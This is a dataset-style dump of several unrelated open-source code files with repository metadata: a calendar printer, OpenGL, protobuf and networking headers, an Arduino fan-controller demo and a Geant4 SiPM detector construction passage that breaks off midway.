a0c9a83d17b084ec93e77ae11a45a6ef5060db56
refs/heads/master
2021-06-21T09:33:18.713912
2017-07-29T21:00:48
2017-07-29T21:00:48
98,758,706
2
1
null
null
null
null
UTF-8
C++
false
false
339
cpp
#include <iostream> using namespace std; int a, b; int main() { cin >> a >> b; cout << "Sun Mon Tue Wed Thr Fri Sat\n"; int i = 1; for (; i <= a - 1; i++) cout << " "; for (int j = 1; j <= b; j++, i++) { if (j >= 1 && j <= 9) cout << " "; else cout << " "; cout << j; if (i % 7 == 0) cout << '\n'; else cout << ' '; } }
[ "adamxhy123@gmail.com" ]
adamxhy123@gmail.com
8dd48661ca9129429b95654e3d0169a9133059b3
597328a4220a0297dcfe052b6082c51c203219f2
/src/graphics/Renderer.h
9798f0ac10e76d84f7b23c90697280b293100a86
[]
no_license
lakenoah17/Asteroids
ceb94c6d572041ddefd149a8b819db417c907e88
10d7ea1232409a6f40f79634347149a7d1ae1640
refs/heads/master
2023-02-27T03:48:04.427302
2021-02-03T23:58:59
2021-02-03T23:58:59
310,201,329
0
0
null
null
null
null
UTF-8
C++
false
false
1,695
h
#pragma once #include <GL/glew.h> #include "Shader.h" #include "VertexArray.h" #include "IndexBuffer.h" #include "glm/gtc/matrix_transform.hpp" #define ASSERT(x) if (!(x)) __debugbreak(); #define GLCall(x) GLClearError();\ x;\ ASSERT(GLLogCall(#x, __FILE__, __LINE__)) void GLClearError(); bool GLLogCall(const char* function, const char* file, int line); /// <summary> /// Stores all of the components of a draw call /// </summary> struct Renderable { Shader* shader; VertexBuffer* vb; VertexArray* vao; IndexBuffer* ib; //Sets up all of the matrices for a Model View Projection Matrix hardcoded to start glm::mat4 proj = glm::ortho(0.0f, 1080.0f, 0.0f, 760.0f, -1.0f, 1.0f); glm::mat4 view = glm::mat4(1.0f); glm::mat4 model = glm::mat4(1.0f); glm::mat4 mvp = proj * view * model; void BindRenderable() { vao->Bind(); shader->Bind(); } ~Renderable() { delete shader; delete vb; delete vao; delete ib; } }; static class Renderer { public: static Renderable* CreateRenderable(std::string shaderPath, float* verticies, unsigned int verticiesLen, unsigned int strideLen, unsigned int* indicies, unsigned int indiciesLen); static Renderable* CreateRenderable(Shader* shader, VertexBuffer* vb, VertexArray* vao, IndexBuffer* ib); static void Clear(); static void Draw(Renderable* objToRender); static void Draw(Renderable* objToRender, unsigned int drawType); static void Draw(Renderable* objToRender, unsigned int drawType, float x, float y); private: Renderer(); };
[ "noahshields5@gmail.com" ]
noahshields5@gmail.com
2e31fc40fc64282611556eb4a1df37ad406e18bb
7b8b3f86ab542467d364c81d185b0850e7767c51
/ibex_Ctc3BCid_Dir.h
7ee5d17f421f22be8a5c57a1a320e525c1dd757f
[]
no_license
pierleur/Resultat_stage_homeostatsie
457c85436d68a96b65d440ab1f886edec45c00f8
b528fef03c13948310f7cfccb6f9fac2cc19bd59
refs/heads/main
2023-08-13T05:13:58.338217
2021-10-12T19:41:24
2021-10-12T19:41:24
null
0
0
null
null
null
null
UTF-8
C++
false
false
590
h
#ifndef __IBEX_CTC_3B_CID_DIR_H__ #define __IBEX_CTC_3B_CID_DIR_H__ #include <ibex.h> namespace ibex { class Ctc3BCidDir : public Ctc3BCid { public: Ctc3BCidDir(Ctc& ctc, IntervalVector* boxE,int nb_para, int s3b=default_s3b, int scid=default_scid, int vhandled=-1, double var_min_width=default_var_min_width); void contract(IntervalVector& box) override; virtual void contract(IntervalVector& box, ContractContext& context); protected: //Boite enveloppe IntervalVector* m_boxE; bool borne(int var); private: IntervalVector m_initBox; int m_nb_para; }; } #endif
[ "Pierleur" ]
Pierleur
3c8997bde14c78a850891c2af6e0356528b4aacd
57b6fa831fe532cf0739135c77946f0061e3fbf5
/NWNXLib/API/Mac/API/SSubNetProfile.cpp
4824b84b4800d2b4d78db5eecd543c54ccfa1546
[ "MIT" ]
permissive
presscad/nwnee
dfcb90767258522f2b23afd9437d3dcad74f936d
0f36b281524e0b7e9796bcf30f924792bf9b8a38
refs/heads/master
2020-08-22T05:26:11.221042
2018-11-24T16:45:45
2018-11-24T16:45:45
216,326,718
1
0
MIT
2019-10-20T07:54:45
2019-10-20T07:54:45
null
UTF-8
C++
false
false
132
cpp
#include "SSubNetProfile.hpp" #include "API/Functions.hpp" #include "Platform/ASLR.hpp" namespace NWNXLib { namespace API { } }
[ "liarethnwn@gmail.com" ]
liarethnwn@gmail.com
16de75f897990f569c10afd4acdc73f15c9ce8a4
31dec155a9e069adfcf209238677b49d23bf1694
/libraries/ADT7470/examples/adt7470_demo/adt7470_demo.ino
72b07b37ea79259e4b09b120bfedcfc1241d0e5c
[ "MIT" ]
permissive
jantje/Arduino
75a35cfb2e2ce7a1a78ba545ac30ac8c752d1aa8
cd40e51b4eb9f8947aa58f278f61c9121d711fb0
refs/heads/master
2021-12-03T11:16:44.274410
2021-07-11T13:37:02
2021-07-11T13:37:02
382,966,519
0
0
MIT
2021-07-04T23:21:23
2021-07-04T23:21:22
null
UTF-8
C++
false
false
4,074
ino
// // FILE: adt7470_demo.ino // AUTHOR: Rob Tillaart // VERSION: 0.1.1 // PURPOSE: demo ADT7470 library // DATE: 2015-12-02 #include <Wire.h> #include "ADT7470.h" ADT7470 ADT(ADT7470_ADDR_FLOAT); void setup() { Wire.begin(); Serial.begin(115200); Serial.print(F("\n\nStart ")); Serial.println(__FILE__); Serial.println(); if (!ADT.isConnected()) { Serial.println("Cannot connect ADT7470...\n"); // while(1); } // else { testStart(); testRevision(); testTemp(); testPWM(); testTach(); testFanSpeed(); testStop(); } Serial.println("Done"); } void testStart() { Serial.println(F("ADT7470 testStart")); ADT.powerUp(); ADT.startMonitoring(); Serial.println(); Serial.println(); delay(1000); } void testRevision() { Serial.print("ADT7470_LIB_VERSION:\t"); Serial.println(ADT7470_LIB_VERSION); Serial.print("ADT7470 getRevision:\t"); Serial.println(ADT.getRevision()); Serial.print("ADT7470 getDeviceID:\t"); Serial.println(ADT.getDeviceID()); Serial.print("ADT7470 getCompanyID:\t"); Serial.println(ADT.getCompanyID()); Serial.println(); Serial.println(); delay(10); } void testTemp() { Serial.println(F("ADT7470 testTemp 0..9")); Serial.print("temp:"); for (uint8_t i = 0; i < 10; i++) { Serial.print("\t"); Serial.print(ADT.getTemperature(i)); } Serial.println(); Serial.print("max:\t"); Serial.println(ADT.getMaxTemperature()); Serial.println(); Serial.println(); delay(10); } void testPWM() { Serial.println(F("ADT7470 getPWM 0..3")); Serial.print(F("set:")); for (int i = 0; i < 4; i++) { uint8_t pwm = random(255); ADT.setPWM(i, pwm); Serial.print("\t"); Serial.print(pwm); } Serial.println(); Serial.print(F("get:")); for (int i = 0; i < 4; i++) { uint8_t pwm = ADT.getPWM(i); Serial.print("\t"); Serial.print(pwm); } Serial.println(); Serial.println(); delay(10); } void testTach() { uint8_t ppr[4]; Serial.println(F("ADT7470 testTach 0..3")); Serial.print(F("getPPR: ")); for (uint8_t i = 0; i < 4; i++) { ppr[i] = ADT.getPulsesPerRevolution(i); Serial.print("\t"); Serial.print(ppr[i]); } Serial.println(); Serial.print(F("setPPR: ")); for (uint8_t i = 0; i < 4; i++) { ADT.setPulsesPerRevolution(i, ppr[i]); bool b = (ppr[i] == ADT.getPulsesPerRevolution(i)); Serial.print("\t"); Serial.print(b ? "T" : "F"); // expect TTTT } Serial.println(); ADT.setSlowTach(); Serial.println(F("setSlowTach")); Serial.print(F("getTach:")); for (uint8_t i = 0; i < 4; i++) { uint16_t tach = ADT.getTach(i); Serial.print("\t"); Serial.print(tach); } Serial.println(); Serial.print(F("getRPM :")); for (int i = 0; i < 4; i++) { uint32_t rpm = ADT.getRPM(i); Serial.print("\t"); Serial.print(rpm); } Serial.println(); ADT.setFastTach(); Serial.println(F("setFastTach")); Serial.print(F("getTach:")); for (uint8_t i = 0; i < 4; i++) { uint16_t tach = ADT.getTach(i); Serial.print("\t"); Serial.print(tach); } Serial.println(); Serial.print(F("getRPM :")); for (int i = 0; i < 4; i++) { uint32_t rpm = ADT.getRPM(i); Serial.print("\t"); Serial.print(rpm); } Serial.println(); Serial.println(); delay(10); } void testFanSpeed() { Serial.println(F("ADT7470 testFanSpeed")); Serial.print("low:\t"); for (uint8_t i = 0; i < 8; i++) { ADT.setFanLowFreq(i); Serial.print(i); Serial.print("\t"); delay(1000); } Serial.println(); Serial.print("high:\t"); for (uint8_t i = 0; i < 8; i++) { ADT.setFanHighFreq(i); Serial.print(i); Serial.print("\t"); delay(1000); } Serial.println(); ADT.setFanHighFreq(2); Serial.println(); Serial.println(); delay(10); } void testStop() { Serial.println(F("ADT7470 testStop")); ADT.stopMonitoring(); ADT.powerDown(); delay(2000); // TODO how to check if it is down - datasheet. } void loop() { } // -- END OF FILE --
[ "rob.tillaart@gmail.com" ]
rob.tillaart@gmail.com
c76854ceb9cff1eb48b2c40b5f716ccf0abd7daa
4be41ae28bd7d5cbff5ca173a88f113219d9ec75
/python/google/protobuf/pyext/unknown_fields.h
89bd0ba9a75e9a38fd09e86a32495a992cb4a16a
[ "LicenseRef-scancode-protobuf" ]
permissive
YixuanBan/protobuf-310
ef76fc3aaf88f690fe6e91dd5b1f658beb53814f
cf0110b5b8d476df7a9014b68bc9b1c9b53d9d49
refs/heads/master
2023-03-30T18:30:28.179733
2020-06-08T03:49:37
2020-06-08T03:49:37
270,517,595
0
0
NOASSERTION
2021-03-31T22:09:52
2020-06-08T03:43:15
C++
UTF-8
C++
false
false
3,222
h
// Protocol Buffers - Google's data interchange format // Copyright 2008 Google Inc. All rights reserved. // https://developers.google.com/protocol-buffers/ // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #ifndef GOOGLE_PROTOBUF_PYTHON_CPP_UNKNOWN_FIELDS_H__ #define GOOGLE_PROTOBUF_PYTHON_CPP_UNKNOWN_FIELDS_H__ #include <Python.h> #include <memory> #include <set> #include <google/protobuf/pyext/message.h> namespace google2 { namespace protobuf { class UnknownField; class UnknownFieldSet; namespace python { struct CMessage; typedef struct PyUnknownFields { PyObject_HEAD; // Strong pointer to the parent CMessage or PyUnknownFields. // The top PyUnknownFields holds a reference to its parent CMessage // object before release. // Sub PyUnknownFields holds reference to parent PyUnknownFields. PyObject* parent; // Pointer to the C++ UnknownFieldSet. // PyUnknownFields does not own this pointer. const UnknownFieldSet* fields; // Weak references to child unknown fields. std::set<PyUnknownFields*> sub_unknown_fields; } PyUnknownFields; typedef struct PyUnknownFieldRef { PyObject_HEAD; // Every Python PyUnknownFieldRef holds a reference to its parent // PyUnknownFields in order to keep it alive. PyUnknownFields* parent; // The UnknownField index in UnknownFields. Py_ssize_t index; } UknownFieldRef; extern PyTypeObject PyUnknownFields_Type; extern PyTypeObject PyUnknownFieldRef_Type; namespace unknown_fields { // Builds an PyUnknownFields for a specific message. PyObject* NewPyUnknownFields(CMessage *parent); void Clear(PyUnknownFields* self); } // namespace unknown_fields } // namespace python } // namespace protobuf } // namespace google #endif // GOOGLE_PROTOBUF_PYTHON_CPP_UNKNOWN_FIELDS_H__
[ "banyixuan@pku.edu.cn" ]
banyixuan@pku.edu.cn
d74b9d40fb38d58af9d48ecaba95d74ec6287b8f
1479bda36d50ba65657520469f1926ec3c5f2777
/Exercise/more_hot.cpp
0ca38f8f717b304376fb36db2fc8b3357c4d304b
[]
no_license
JungRyung/CPP
80578d5f2ce8960a1fb31bd68134740e136cc8dc
564eef9eb888dcdbfbd49e5afa95f8d8a2c44748
refs/heads/master
2023-04-04T08:09:46.448034
2021-04-14T05:29:20
2021-04-14T05:29:20
176,876,980
0
0
null
null
null
null
UTF-8
C++
false
false
1,066
cpp
#include <string> #include <vector> #include <queue> #include <iostream> using namespace std; int solution(vector<int> scoville, int K) { int answer = 0; int first, second; priority_queue<int, vector<int>, greater<int> > scoville_queue; for(int i=0; i<scoville.size(); i++) { scoville_queue.push(scoville.at(i)); } while(scoville_queue.size()>1) { answer++; first = scoville_queue.top(); scoville_queue.pop(); second = scoville_queue.top(); scoville_queue.pop(); scoville_queue.push(first+(second*2)); if(scoville_queue.top()>=K) return answer; } if(scoville_queue.top()>=K) return answer; else return -1; // while(scoville_queue.size()>0) // { // cout << scoville_queue.top(); // scoville_queue.pop(); // } // return answer; } int main() { int answer; vector<int> scoville; scoville.push_back(1); scoville.push_back(3); scoville.push_back(2); scoville.push_back(9); scoville.push_back(10); scoville.push_back(12); answer = solution(scoville, 7); cout << answer << endl; return 0; }
[ "37282346+JungRyung@users.noreply.github.com" ]
37282346+JungRyung@users.noreply.github.com
140940ce8c438554f03e9b8c53d9e61b8fda3ad1
67cd747626e3a3ea8d8faf2ca99f02ea3d90c557
/kxnet/net/Connector.h
9bf6618cf6de66b91a070d5afac9ed22b19ddba7
[]
no_license
KelvinYin/kxnet
c8912b87b98afb8e0b84129e1348bc190cb8842f
e8ff355783f615dfcb63cbc30639e1dc0cd259f9
refs/heads/master
2021-05-02T15:03:14.443463
2018-02-28T11:01:07
2018-02-28T11:01:07
120,730,967
1
0
null
null
null
null
UTF-8
C++
false
false
1,468
h
// This is an internal header file, you should not include this. #pragma once #include <kxnet/net/InetAddress.h> #include <functional> #include <memory> namespace kxnet { namespace net { class Channel; class EventLoop; class Connector : noncopyable, public std::enable_shared_from_this<Connector> { public: typedef std::function<void (int sockfd)> NewConnectionCallback; Connector(EventLoop* loop, const InetAddress& serverAddr); ~Connector(); void setNewConnectionCallback(const NewConnectionCallback& cb) { newConnectionCallback_ = cb; } void start(); // can be called in any thread void restart();// must be called in loop thread void stop(); // can be called in any thread const InetAddress& serverAddress() const { return serverAddr_; } private: enum States { kDisconnected, kConnecting, kConnected }; static const int kMaxRetryDelayMs = 30*1000; static const int kInitRetryDelayMs = 500; void setState(States s) { state_ = s; } void startInLoop(); void stopInLoop(); void connect(); void connecting(int sockfd); void handleWrite(); void handleError(); void retry(int sockfd); int removeAndResetChannel(); void resetChannel(); EventLoop* loop_; InetAddress serverAddr_; bool connect_; // atomic States state_; // FIXME: use atomic variable std::unique_ptr<Channel> channel_; NewConnectionCallback newConnectionCallback_; int retryDelayMs_; }; } }
[ "yinkangxi@gmail.com" ]
yinkangxi@gmail.com
ab96c1b75bd0d26a0bcb8784350375fb8871e9b7
b79b91b68f50a3e27e46314e4b04eee210997e4d
/Jaraffe/Engine/Source/D3D11/Effect.h
9b9a466364ab953b769491a8071ca9fdb52f0ec3
[]
no_license
ChoiYoungMin/Jaraffe
bfc983b54137d2af30521bdda92da08a4ce3e007
294b3bf56d2d540d6039e096e3dcdfdee4e15b3c
refs/heads/master
2021-01-15T17:36:24.918398
2016-06-17T13:19:53
2016-06-17T13:19:53
62,026,749
2
0
null
2016-06-27T05:02:03
2016-06-27T05:02:02
null
UTF-8
C++
false
false
2,653
h
#pragma once namespace Jaraffe { #pragma region Effect class Effect { public: Effect(ID3D11Device* device, const std::wstring& filename); virtual ~Effect(); private: Effect(const Effect& rhs); Effect& operator=(const Effect& rhs); protected: ID3DX11Effect* mFX; }; #pragma endregion #pragma region SimpleEffect class SimpleEffect : public Effect { public: SimpleEffect(ID3D11Device* device, const std::wstring& filename); virtual ~SimpleEffect(); // Get,Set Func void SetWorldViewProj(CXMMATRIX M) { WorldViewProj->SetMatrix(reinterpret_cast<const float*>(&M)); } // Techniques ID3DX11EffectTechnique* ColorTech; // Constant Values ID3DX11EffectMatrixVariable* WorldViewProj; }; #pragma endregion #pragma region BasicEffect class BasicEffect : public Effect { public: BasicEffect(ID3D11Device* device, const std::wstring& filename); virtual ~BasicEffect(); void SetWorldViewProj(CXMMATRIX M) { WorldViewProj->SetMatrix(reinterpret_cast<const float*>(&M)); } void SetWorld(CXMMATRIX M) { World->SetMatrix(reinterpret_cast<const float*>(&M)); } void SetWorldInvTranspose(CXMMATRIX M) { WorldInvTranspose->SetMatrix(reinterpret_cast<const float*>(&M)); } void SetTexTransform(CXMMATRIX M) { TexTransform->SetMatrix(reinterpret_cast<const float*>(&M)); } void SetEyePosW(const XMFLOAT3& v) { EyePosW->SetRawValue(&v, 0, sizeof(XMFLOAT3)); } void SetDirLights(const Jaraffe::Light::DirectionalLight* lights) { DirLights->SetRawValue(lights, 0, 3 * sizeof(Jaraffe::Light::DirectionalLight)); } void SetMaterial(const Jaraffe::Light::Material& mat) { Mat->SetRawValue(&mat, 0, sizeof(Jaraffe::Light::Material)); } void SetDiffuseMap(ID3D11ShaderResourceView* tex) { DiffuseMap->SetResource(tex); } void SetTime(const float& f) { Time->SetFloat(f); } ID3DX11EffectTechnique* Light1Tech; ID3DX11EffectTechnique* Light2Tech; ID3DX11EffectTechnique* Light3Tech; ID3DX11EffectTechnique* Light0TexTech; ID3DX11EffectTechnique* Light1TexTech; ID3DX11EffectTechnique* Light2TexTech; ID3DX11EffectTechnique* Light3TexTech; ID3DX11EffectMatrixVariable* WorldViewProj; ID3DX11EffectMatrixVariable* World; ID3DX11EffectMatrixVariable* WorldInvTranspose; ID3DX11EffectMatrixVariable* TexTransform; ID3DX11EffectVectorVariable* EyePosW; ID3DX11EffectVariable* DirLights; ID3DX11EffectVariable* Mat; ID3DX11EffectScalarVariable* Time; ID3DX11EffectShaderResourceVariable* DiffuseMap; }; #pragma endregion #pragma region Effects class Effects { public: static void InitAll(ID3D11Device* device); static void DestroyAll(); static SimpleEffect* SimpleFX; static BasicEffect* BasicFX; }; #pragma endregion }
[ "ccm1333@naver.com" ]
ccm1333@naver.com
969125d5b248fc6d6893ce72240e062a1afe68ce
4955a09ade012d0c15d9e194dcaff32ff8a4fe46
/src/DetectorConstruction_planar.cc
615bc8702c6931eb3367b97838d7a1dcfcc18bce
[]
no_license
fabio-mon/SiPM_simulation
8797e42eda0867e391409d5c204ea21e04583faa
1ddb82ce30e625de669f53af69f5b0a7863f0fbc
refs/heads/master
2021-09-19T23:31:50.820056
2018-08-01T09:52:33
2018-08-01T09:52:33
114,459,218
1
0
null
null
null
null
UTF-8
C++
false
false
27,810
cc
#include "DetectorConstruction_planar.hh" #include "SiPM_SD.hh" #include "G4Material.hh" #include "G4NistManager.hh" #include "ConfigFile.hh" #include "G4Box.hh" #include "G4LogicalVolume.hh" #include "G4PVPlacement.hh" #include "G4PVReplica.hh" #include "G4GlobalMagFieldMessenger.hh" #include "G4AutoDelete.hh" #include "G4SDManager.hh" #include "G4VisAttributes.hh" #include "G4Colour.hh" #include "G4PhysicalConstants.hh" #include "G4SystemOfUnits.hh" #include "G4OpticalSurface.hh" #include "G4LogicalBorderSurface.hh" #include "G4LogicalSkinSurface.hh" //....oooOO0OOooo........oooOO0OOooo........oooOO0OOooo........oooOO0OOooo...... G4ThreadLocal G4GlobalMagFieldMessenger* DetectorConstruction_planar::fMagFieldMessenger = 0; //....oooOO0OOooo........oooOO0OOooo........oooOO0OOooo........oooOO0OOooo...... DetectorConstruction_planar::DetectorConstruction_planar(std::string configFileName) : G4VUserDetectorConstruction(), fCheckOverlaps(true) { fExpHall_x = fExpHall_y = fExpHall_z = 0.10*m; //get geom parameters from config file ConfigFile config (configFileName) ; //Crystal if (config.keyExists("Crystal_x")) fCryst_x= config.read<double> ("Crystal_x") * mm/2; else fCryst_x=12.*mm/2; if (config.keyExists("Crystal_y")) fCryst_y= config.read<double> ("Crystal_y") * mm/2; else fCryst_y=12.*mm/2; if (config.keyExists("Crystal_z")) fCryst_z= config.read<double> ("Crystal_z") * mm/2; else fCryst_z=12.*mm/2; //SiPM if (config.keyExists("SiPM_x")) fSiPM_x= config.read<double> ("SiPM_x") * mm/2; else fSiPM_x=5.*mm/2; if (config.keyExists("SiPM_y")) fSiPM_y= config.read<double> ("SiPM_y") * mm/2; else fSiPM_y=5.*mm/2; if (config.keyExists("SiPM_z")) fSiPM_z= config.read<double> ("SiPM_z") * mm/2; else fSiPM_z=0.8*mm/2; //Glue if (config.keyExists("Glue_x")) fGlue_x= config.read<double> ("Glue_x") * mm/2; else fGlue_x=fSiPM_x; if (config.keyExists("Glue_y")) fGlue_y= config.read<double> ("Glue_y") * mm/2; else fGlue_y=fSiPM_y; if (config.keyExists("Glue_z")) fGlue_z= config.read<double> ("Glue_z") * mm/2; else fGlue_z=0.05*mm; //SiPM optic window if (config.keyExists("SiPM_window_x")) fSiPM_window_x= config.read<double> ("SiPM_window_x") * mm/2; else fSiPM_window_x=fSiPM_x; if (config.keyExists("SiPM_window_y")) fSiPM_window_y= config.read<double> ("SiPM_window_y") * mm/2; else fSiPM_window_y=fSiPM_y; if (config.keyExists("SiPM_window_z")) fSiPM_window_z= config.read<double> ("SiPM_window_z") * mm/2; else fSiPM_window_z= 0.15*mm; /* if (config.keyExists("GlueWindowEverywhere")) fGlueWindowEverywhere = config.read<bool> ("GlueWindowEverywhere"); else fGlueWindowEverywhere = false; if(fGlueWindowEverywhere == false) { fGlue_x = fSiPM_x; fGlue_y = fSiPM_y; fGlue_z = 0.05*mm; fSiPM_window_x = fSiPM_x; fSiPM_window_y = fSiPM_y; fSiPM_window_z = 0.15*mm; } else { fGlue_x = fCryst_x; fGlue_y = fCryst_y; fGlue_z = 0.05*mm; fSiPM_window_x = fCryst_x; fSiPM_window_y = fCryst_y; fSiPM_window_z = 0.15*mm; } */ //SiPM positions if (config.keyExists("SiPM_x_pos")) config.readIntoVect(fSiPM_x_pos,"SiPM_x_pos"); else fSiPM_x_pos = std::vector<double> (1,0); if (config.keyExists("SiPM_y_pos")) config.readIntoVect(fSiPM_y_pos,"SiPM_y_pos"); else fSiPM_y_pos = std::vector<double> (1,0); assert(fSiPM_x_pos.size() == fSiPM_y_pos.size() ); //Glue positions if (config.keyExists("Glue_x_pos")) config.readIntoVect(fGlue_x_pos,"Glue_x_pos"); else fGlue_x_pos = fSiPM_x_pos; if (config.keyExists("Glue_y_pos")) config.readIntoVect(fGlue_y_pos,"Glue_y_pos"); else fGlue_y_pos = fSiPM_y_pos; assert(fGlue_x_pos.size() == fGlue_y_pos.size() ); //optic window positions if (config.keyExists("SiPM_window_x_pos")) config.readIntoVect(fSiPM_window_x_pos,"SiPM_window_x_pos"); else fSiPM_window_x_pos = fSiPM_x_pos; if (config.keyExists("SiPM_window_y_pos")) config.readIntoVect(fSiPM_window_y_pos,"SiPM_window_y_pos"); else fSiPM_window_y_pos = fSiPM_y_pos; assert(fSiPM_window_x_pos.size() == fSiPM_window_y_pos.size() ); //Tilt SiPM wrt to beam if (config.keyExists("tilt_angle")) ftilt_angle = config.read<double> ("tilt_angle")*deg; else ftilt_angle = 0.*deg; //PDE settings if (config.keyExists("PDEoption")) fPDEoption = config.read<std::string> ("PDEoption"); else fPDEoption=""; if (config.keyExists("PDEweight")) fweight = config.read<double> ("PDEweight"); else fweight = 1.; //SURFACE in general if (config.keyExists("surface_type")) fsurface_type= config.read<int> ("surface_type"); else fsurface_type=0; if (config.keyExists("wrapping_refl")) fwrapping_refl= config.read<double> ("wrapping_refl"); else fwrapping_refl=0.97; if (config.keyExists("SigmaAlpha")) fSigmaAlpha = config.read<double> ("SigmaAlpha"); else fSigmaAlpha=3.4*deg; if (config.keyExists("SpecularSpike") && config.keyExists("SpecularLobe") && config.keyExists("BackScatter")) { fSS = config.read<double> ("SpecularSpike"); fSL = config.read<double> ("SpecularLobe"); fBS = config.read<double> ("BackScatter"); } else { fSS=0.; fSL=1.; fBS=0.; } //FRONT SURFACE (opposite side wrt SiPM) if (config.keyExists("frontsurface_type")) ffrontsurface_type= config.read<int> ("frontsurface_type"); else ffrontsurface_type=fsurface_type; if (config.keyExists("frontwrapping_refl")) ffrontwrapping_refl= config.read<double> ("frontwrapping_refl"); else ffrontwrapping_refl=fwrapping_refl; if (config.keyExists("frontSigmaAlpha")) ffrontSigmaAlpha = config.read<double> ("frontSigmaAlpha"); else ffrontSigmaAlpha=fSigmaAlpha; if (config.keyExists("frontSpecularSpike") && config.keyExists("frontSpecularLobe") && config.keyExists("frontBackScatter")) { ffrontSS = config.read<double> ("frontSpecularSpike"); ffrontSL = config.read<double> ("frontSpecularLobe"); ffrontBS = config.read<double> ("frontBackScatter"); } else { ffrontSS=fSS; ffrontSL=fSL; ffrontBS=fBS; } //LATERAL SURFACES if (config.keyExists("lateralsurface_type")) flateralsurface_type= config.read<int> ("lateralsurface_type"); else flateralsurface_type=fsurface_type; if (config.keyExists("lateralwrapping_refl")) flateralwrapping_refl= config.read<double> ("lateralwrapping_refl"); else flateralwrapping_refl=fwrapping_refl; if (config.keyExists("lateralSigmaAlpha")) flateralSigmaAlpha = config.read<double> ("lateralSigmaAlpha"); else flateralSigmaAlpha=fSigmaAlpha; if (config.keyExists("lateralSpecularSpike") && config.keyExists("lateralSpecularLobe") && config.keyExists("lateralBackScatter")) { flateralSS = config.read<double> ("lateralSpecularSpike"); flateralSL = config.read<double> ("lateralSpecularLobe"); flateralBS = config.read<double> ("lateralBackScatter"); } else { flateralSS=fSS; flateralSL=fSL; flateralBS=fBS; } //BACK SURFACE (same side of SiPM) if (config.keyExists("backsurface_type")) fbacksurface_type= config.read<int> ("backsurface_type"); else fbacksurface_type=fsurface_type; if (config.keyExists("backwrapping_refl")) fbackwrapping_refl= config.read<double> ("backwrapping_refl"); else fbackwrapping_refl=fwrapping_refl; if (config.keyExists("backSigmaAlpha")) fbackSigmaAlpha = config.read<double> ("backSigmaAlpha"); else fbackSigmaAlpha=fSigmaAlpha; if (config.keyExists("backSpecularSpike") && config.keyExists("backSpecularLobe") && config.keyExists("backBackScatter")) { fbackSS = config.read<double> ("backSpecularSpike"); fbackSL = config.read<double> ("backSpecularLobe"); fbackBS = config.read<double> ("backBackScatter"); } else { fbackSS=fSS; fbackSL=fSL; fbackBS=fBS; } //SURFACE opticwindow-air if (config.keyExists("WindowAirsurface_type")) fWindowAirsurface_type= config.read<int> ("WindowAirsurface_type"); else fWindowAirsurface_type=0; if (config.keyExists("WindowAirwrapping_refl")) fWindowAirwrapping_refl= config.read<double> ("WindowAirwrapping_refl"); else fWindowAirwrapping_refl=0.97; if (config.keyExists("WindowAirSigmaAlpha")) fWindowAirSigmaAlpha = config.read<double> ("WindowAirSigmaAlpha"); else fWindowAirSigmaAlpha=0.; if (config.keyExists("WindowAirSpecularSpike") && config.keyExists("WindowAirSpecularLobe") && config.keyExists("WindowAirbackScatter")) { fWindowAirSS = config.read<double> ("WindowAirSpecularSpike"); fWindowAirSL = config.read<double> ("WindowAirSpecularLobe"); fWindowAirBS = config.read<double> ("WindowAirbackScatter"); } else { fWindowAirSS=fSS; fWindowAirSL=fSL; fWindowAirBS=fBS; } std::cout<<"initialization ok"<<std::endl; } //....oooOO0OOooo........oooOO0OOooo........oooOO0OOooo........oooOO0OOooo...... DetectorConstruction_planar::~DetectorConstruction_planar() { } //....oooOO0OOooo........oooOO0OOooo........oooOO0OOooo........oooOO0OOooo...... G4VPhysicalVolume* DetectorConstruction_planar::Construct() { // -----------------------> Get materials G4Material* Air = MyMaterials::Air () ; G4Material* Vacuum = MyMaterials::Vacuum () ; G4Material *LYSO = MyMaterials::LYSO () ; G4Material *SiPM_mat = MyMaterials::Silicon () ; G4Material *Glue_mat = MyMaterials::Glue () ; G4Material *Window_mat = MyMaterials::OpticWindow () ; G4Material *PlasticScint_mat = MyMaterials::PlasticScintillator () ; if (! Vacuum || ! LYSO || ! Glue_mat || ! SiPM_mat || ! PlasticScint_mat || ! Window_mat) { G4ExceptionDescription msg; msg << "Cannot retrieve materials already defined."; G4Exception("B4DetectorConstruction::DefineVolumes()", "MyCode0001", FatalException, msg); } //------------------------> declare geom + logic + phys Volumes G4double posx, posy, posz; G4RotationMatrix *Rm = new G4RotationMatrix(); Rm->rotateX(ftilt_angle); // The experimental Hall G4Box* expHall_box = new G4Box("World",fExpHall_x,fExpHall_y,fExpHall_z); G4LogicalVolume* expHall_log = new G4LogicalVolume(expHall_box,Vacuum,"World",0,0,0); G4VPhysicalVolume* expHall_phys = new G4PVPlacement(0,G4ThreeVector(),expHall_log,"World",0,false,0); // Small spaces around the crystal useful to define different surfaces around the crystal //Lateral surfaces G4Box* world_lateral_x_crystal_box = new G4Box("Lateral_world_x",0.2*mm,fCryst_y,fCryst_z); G4Box* world_lateral_y_crystal_box = new G4Box("Lateral_world_y",fCryst_x,0.2*mm,fCryst_z); G4Box* world_lateral_z_crystal_box = new G4Box("Lateral_world_z",fCryst_x,fCryst_y,0.2*mm); G4LogicalVolume* world_lateral_x_crystal_log = new G4LogicalVolume(world_lateral_x_crystal_box,Vacuum,"Lateral_world_x",0,0,0); 